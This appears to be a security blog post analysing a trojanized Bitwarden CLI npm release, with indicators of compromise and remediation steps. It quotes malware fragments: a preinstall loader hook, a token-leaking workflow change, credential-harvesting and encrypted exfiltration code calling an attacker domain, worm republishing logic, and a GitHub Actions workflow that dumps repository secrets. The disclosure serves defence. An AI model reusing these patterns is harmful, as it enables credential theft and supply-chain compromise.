Bitwarden CLI Supply Chain Compromise

SafeDep Team
8 min read

Table of Contents

TL;DR

The malicious @bitwarden/[email protected] npm release was not a normal Bitwarden update. It was a trojanized package published through Bitwarden’s npm delivery path during the wider Checkmarx and TeamPCP campaign. The package replaced the expected CLI entrypoint with a loader, pulled in the Bun runtime, launched an obfuscated payload, and then harvested developer and CI secrets.

Bitwarden said the incident affected the npm distribution path for the CLI during a short window on April 22, 2026, not Bitwarden vault data or production systems. That matters, but only after one important caveat: anyone who installed @bitwarden/[email protected] should treat the host and exposed credentials as compromised.

Impact:

  • Steals GitHub tokens, npm tokens, SSH material, cloud credentials, shell history, .env files, and AI tool configuration files
  • Posts encrypted data to hxxps://audit[.]checkmarx[.]cx/v1/telemetry
  • Falls back to GitHub commit search and repository abuse when direct exfiltration fails
  • Republished downstream npm packages using stolen publish credentials
  • Injects a GitHub Actions workflow that serializes repository secrets into an artifact

Indicators of Compromise (IoC):

IndicatorValue
Package@bitwarden/[email protected]
Loader filebw_setup.js
Main payloadbw1.js
Primary C2hxxps://audit[.]checkmarx[.]cx/v1/telemetry
C2 IP94[.]154[.]172[.]43
Loader SHA-25618f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb
Payload SHA-2568605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14
GitHub fallback markerLongLiveTheResistanceAgainstMachines
Fallback domain markerbeautifulcastle

Analysis

Package overview

This package stood out for two reasons. First, 2026.4.0 did not match Bitwarden’s public CLI release history. In the public bitwarden/clients issue that first collected external reports, users noted that the latest legitimate CLI release was still 2026.3.0 when the malicious npm package appeared. Second, Bitwarden later confirmed that 2026.4.0 was malicious, deprecated it, and linked the incident to the ongoing Checkmarx supply chain campaign.

That puts the package in the same family as the TeamPCP-linked compromises that hit Trivy, LiteLLM, and other developer tooling earlier in 2026. The infrastructure overlap is hard to ignore. The same audit.checkmarx.cx endpoint appears again, and the payload keeps the same mix of credential theft, GitHub abuse, and downstream propagation.

The poisoned publish path

Mend’s writeup traced the publish path back to a suspicious change in bitwarden/clients/.github/workflows/publish-cli.yml. Their snippet shows three lines added to the publish job right before the malicious npm release appeared:

.github/workflows/publish-cli.yml
+ echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
+ cp scripts/cli-2026.4.0.tgz /tmp
+ cd /tmp
npm publish scripts/cli-2026.4.0.tgz

That change does two jobs. It prints the npm publish token into CI logs in double-base64 form, and it swaps the package being published. The GitHub issue timeline shows the suspicious commit landed at 21:18 UTC on April 22, 2026. The npm release metadata recorded 2026.4.0 at 21:22:59 UTC. That four minute gap is short enough to treat the workflow modification and package publish as part of the same attack chain.

The issue thread also notes the suspicious commit lives in the repo’s fork network rather than on a normal branch. That detail matches a pattern already seen in the TeamPCP campaign: attackers abuse GitHub’s fork object store and workflow permissions to route malicious changes into release infrastructure without leaving a normal branch history behind.

The package execution path was replaced

JFrog’s analysis shows the malicious package did not need to alter Bitwarden’s compiled CLI logic in place. It only needed to change the outer package metadata so npm would run the attacker’s loader instead of the legitimate CLI:

package/package.json
{
"scripts": {
"preinstall": "node bw_setup.js"
},
"bin": {
"bw": "bw_setup.js"
}
}

That is enough. preinstall executes during package installation, and the bw binary path now points to the same loader. A developer does not need to log in to Bitwarden or use the CLI. Merely installing the package triggers the malicious code path.

JFrog also noted another useful clue: the outer package claimed to be 2026.4.0, while metadata inside the bundled application still pointed to Bitwarden CLI 2026.3.0. That mismatch suggests an older legitimate release was repackaged with a malicious wrapper rather than built through the normal vendor pipeline.

Loader and payload

The first stage, bw_setup.js, is small and readable. Its job is to bootstrap Bun and then hand execution to the obfuscated second stage:

package/bw_setup.js
const BUN_VERSION = '1.3.13';
const downloadUrl = `https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
// ... download, extract, chmod ...
execFileSync(binPath, ['bw1.js'], { stdio: 'inherit' });

That choice is practical. The package does not need Bun to be present on the target system, and the attacker gets access to Bun-specific APIs once the runtime lands. JFrog and Mend both describe the second stage, bw1.js, as heavily obfuscated and much larger than the loader. Mend measured it at roughly 9.7 MB and described multiple embedded payload blobs inside it.

What the payload steals

This payload behaves like a workstation and CI loot collector, not a narrow npm token stealer. JFrog’s deobfuscation shows the shell collector explicitly calls gh auth token and then scans the result along with environment data:

package/bw1.js
class un extends $f {
constructor() {
super('shell', 'misc', {
ghtoken: /ghp_[A-Za-z0-9]{36}/g,
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
});
}
async ['execute']() {
let result = {};
try {
let token = execSync('gh auth token', {
encoding: 'utf-8',
stdio: ['pipe', 'pipe', 'pipe'],
}).trim();
if (token) result.token = token;
} catch {}
result.environment = process.env;
return this.success(result);
}
}

The file collector goes further. JFrog and Mend both show it targeting ~/.npmrc, .git/config, .git-credentials, ~/.aws/credentials, .env, ~/.bash_history, ~/.zsh_history, and AI tool configuration files such as ~/.claude.json, ~/.claude/mcp.json, and ~/.kiro/settings/mcp.json. That last part matters. This was not generic credential theft. The operator explicitly hunted for agent and MCP configuration data on developer machines.

Exfiltration and GitHub fallback

JFrog published the payload’s encryption and primary exfiltration code. The package compresses the results, wraps a random AES key with RSA OAEP, and posts the encrypted envelope to the Checkmarx lookalike domain:

package/bw1.js
async ["encryptProviderResults"](results) {
let json = JSON.stringify(results);
let compressed = await gzip(Buffer.from(json));
let aesKey = crypto.randomBytes(32);
let iv = crypto.randomBytes(12);
let wrappedKey = crypto.publicEncrypt({
"key": Fr,
"padding": crypto.constants.RSA_PKCS1_OAEP_PADDING,
"oaepHash": "sha256"
}, aesKey);
let cipher = crypto.createCipheriv("aes-256-gcm", aesKey, iv);
...
}
class Cy extends yH {
constructor(domain, port, path) {
super("domain", {
"domain": domain ?? "audit.checkmarx.cx",
"port": port ?? 443,
"path": path ?? "v1/telemetry"
});
}
}

When direct HTTPS exfiltration fails, the malware does not stop. JFrog describes a fallback path that searches GitHub commit messages for staged PATs and alternative routing data. That makes the payload more resilient than the average npm credential stealer, and it fits the same GitHub-abuse pattern seen in other TeamPCP-linked incidents.

Worm behavior and CI secret dumping

Mend’s analysis shows the package can also republish other npm packages if it finds valid publish credentials. Their deobfuscated snippet shows the worm replacing downstream preinstall scripts with a new dropper and then publishing via Bun:

package/bw1.js
_0x3ddece.scripts['preinstall'] = __decodeScrambled(
[0x64, 0x33, 0x36, 0x0, 0x1b, 0x18, 0x0, 0x2b, 0x6e, 0x54, 0x5c, 0x26, 0x78, 0x18]
// decodes to: "node setup.mjs"
);
await Bun.write(setupPath, K$);
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
await run(bun, ['publish', '--gzip', '--file', outputTgz, '--cwd', tmpDir]);

If a GitHub token with repo and workflow scope is available, the payload moves into the victim’s repositories and injects a workflow named Formatter:

# package/bw1.js embedded workflow
name: Formatter
on:
push:
jobs:
format:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: Run Formatter
run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txt

That turns a stolen developer token into CI secret theft across every repository the token can modify. One installation can become several compromised publish paths if the victim has enough access.

What to do if this version was installed

Treat @bitwarden/[email protected] as a host-level credential exposure event.

  1. Remove the package and any dropped artifacts such as bw_setup.js, bw1.js, bun, or bun.exe.
  2. Rotate GitHub tokens, npm tokens, SSH keys, cloud credentials, and any secrets present in .env files or CI environments on that host.
  3. Review GitHub repositories the user could write to for unexpected workflow files, branches, or artifact uploads.
  4. Block and hunt for traffic to audit.checkmarx[.]cx and related fallback GitHub search patterns.

This incident also reinforces a release engineering point that has come up repeatedly in 2026. Trusted publishing reduces one class of token theft, but it does not save a release pipeline that can still be steered by a poisoned workflow, a compromised dependency scanner, or an attacker who already reached the publishing job.

The same lesson showed up in the earlier Trivy supply chain compromise, the malicious LiteLLM package analysis, and the broader agent skills threat model. Once a build or agent path can read secrets and publish artifacts, the package registry becomes the last step, not the first breach.

References

  • malware
  • npm
  • supply-chain-security
  • github-actions
  • ci-cd-security

Author

SafeDep Logo

SafeDep Team

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.